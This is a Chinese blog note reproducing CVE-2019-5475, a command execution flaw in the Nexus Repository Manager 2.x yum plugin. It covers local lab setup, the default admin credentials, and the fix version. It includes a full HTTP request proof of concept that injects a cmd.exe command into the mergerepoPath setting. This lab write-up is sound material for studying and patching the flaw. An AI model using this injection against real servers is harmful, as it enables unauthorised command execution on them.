CVE-2019-5475:Nexus2 yum插件RCE漏洞復現
- 2019 年 10 月 7 日
- 筆記
0x00 前言
如果有想一起做漏洞復現的小夥伴,歡迎加入我們,公眾號內點擊聯繫作者即可
提示:由於某些原因,公眾號內部分工具即將移除,如果有需要的請儘快保存
0x01 漏洞概述
最近hackerone才公開了Nexus Repository Manager 2.X漏洞細節,該漏洞默認存在部署許可權帳號,成功登錄後可使用「createrepo」或「mergerepo」自定義配置,可觸發遠程命令執行漏洞
0x02 影響版本
Nexus Repository Manager OSS <= 2.14.13
Nexus Repository Manager Pro <= 2.14.13
限制:admin許可權才可觸發漏洞
0x03 環境搭建
Nexus-2.14.13下載地址:
https://download.sonatype.com/nexus/oss/nexus-2.14.13-01-bundle.zip
Windows搭建:
解壓後進入相應版本目錄

分別右擊以下文件使用管理員許可權運行:
install-nexus.bat
start-nexus.bat
訪問 localhost:8081/nexus 驗證服務是否真的開啟
若訪問成功,則服務啟動成功
若失敗,按下面鏈接改配置文件wrapper.conf即可
https://blog.csdn.net/nthack5730/article/details/51082270
0x04 漏洞利用
首先以管理員身份(admin/admin123)登錄
然後找到漏洞位置:Capabilities – Yum:Configuration – Settings

點擊 Save 抓包,更改mergerepoPath後的value值
C:\Windows\System32\cmd.exe /k dir&

此處使用 /k 是因為這樣命令執行完會保留進程不退出,而 /c 後執行完會退出;由於給用戶提供的命令後面加了一個 –version,所以後面要加個&,&表兩個命令同時執行,這樣就不會干擾其他命令的執行
Poc如下:
PUT /nexus/service/siesta/capabilities/00012bdb034073a3 HTTP/1.1 Host: 127.0.0.1:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: application/json,application/vnd.siesta-error-v1+json,application/vnd.siesta-validation-errors-v1+json Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Nexus-UI: true Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 241 DNT: 1 Connection: close Referer: http://127.0.0.1:8081/nexus/ Cookie: NXSESSIONID=105c7cb1-a307-43a3-9ff8-9770b5ae3b13 {"typeId":"yum","enabled":true,"properties":[{"key":"maxNumberParallelThreads","value":"10"},{"key":"createrepoPath","value":"111"},{"key":"mergerepoPath","value":"C:\Windows\System32\cmd.exe /k dir&"}],"id":"00012bdb034073a3","notes":""}
0x05 修復方式
下載官方的修復版2.14.14-01
小結:復現過程中遇到了很多問題,多虧了達哥的幫助才順利的完成整個復現過程,非常感謝達哥!
參考鏈接:
https://mp.weixin.qq.com/s/E_BEp-yYKtIYAnQ6JP7fmg